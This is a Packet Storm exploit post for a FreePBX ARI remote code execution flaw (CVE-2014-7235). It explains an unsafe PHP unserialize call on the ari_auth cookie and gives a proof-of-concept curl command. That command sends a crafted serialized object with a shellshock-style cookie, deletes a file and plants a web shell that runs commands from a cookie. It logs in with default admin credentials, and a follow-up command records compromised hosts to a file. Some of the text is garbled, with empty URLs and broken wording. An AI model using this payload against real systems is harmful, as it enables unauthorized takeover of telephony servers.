FreePBX Remote Code Execution

Type packetstorm
Reporter inj3ctor3
Modified 2017-01-09T00:00:00


                                            `Exploit Title: Freepbx coockie recordings injection  
Google Dork: Ask Santa  
Date: 23/12/2016  
Exploit Author: inj3ctor3  
Vendor Homepage:  
Software Link: ISO LINKS IN SITE  
Version: ALL && unpatched/ (Trixbox/freepbx/elastix/pbxinflash/)  
Tested on: Centos 6  
CVE : CVE-2014-7235  
1. Description  
a critical Zero-Day Remote Code Execution and Privilege Escalation   
exploit within the legacy aFreePBX ARI Framework module/Asterisk   
Recording Interface (ARI)a.  
htdocs_ari/includes/login.php in the ARI Framework module/Asterisk Recording Interface (ARI) in FreePBX before, 2.10.x,   
and 2.11 before allows remote attackers to execute arbitrary code via the ari_auth coockie,   
related to the PHP unserialize function  
line 56 $buf = unserialize(stripslashes($_COOKIE['ari_auth']));  
line 57 list($data,$chksum) = $buf;  
A successful attack may compromise the whole system aiding the hacker to gain  
further privileges via taking advantage of famous nmap shell   
without further or do this is a poc code  
curl -ks -m20" --cookie "ari_lang=() { :;};php -r 'set_time_limit(0);unlink("page.framework.php");file_put_contents("misc/audio.php", "<?php if(\$_COOKIE[\"lang\"]) {system(\$_COOKIE[\"lang\"]);}die();?>");';ari_auth=O:8:"DB_mysql":6:{s:19:"_default_error_mode";i:16;s:22:"_default_error_options";s:9:"do_reload";s:12:"_error_class";s:4:"TEST";s:13:"was_connected";b:1;s:7:"options";s:3:"123";s:3:"dsn";a:4:{s:8:"hostspec";s:9:"localhost";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:8:"database";s:7:"trigger";}};elastixSession=716ratk092555gl0b3gtvt8fo7;UICSESSION=rporp4c88hg63sipssop3kdmn2;ARI=b8e4h6vfg0jouquhkcblsouhk0" --data "username=admin&password=admin&submit=btnSubmit" >/dev/null  
if curl -ks -m10 "" --cookie "lang=id" | grep asterisk >/dev/null;then echo "" | tee -a xploited_new.txt;fi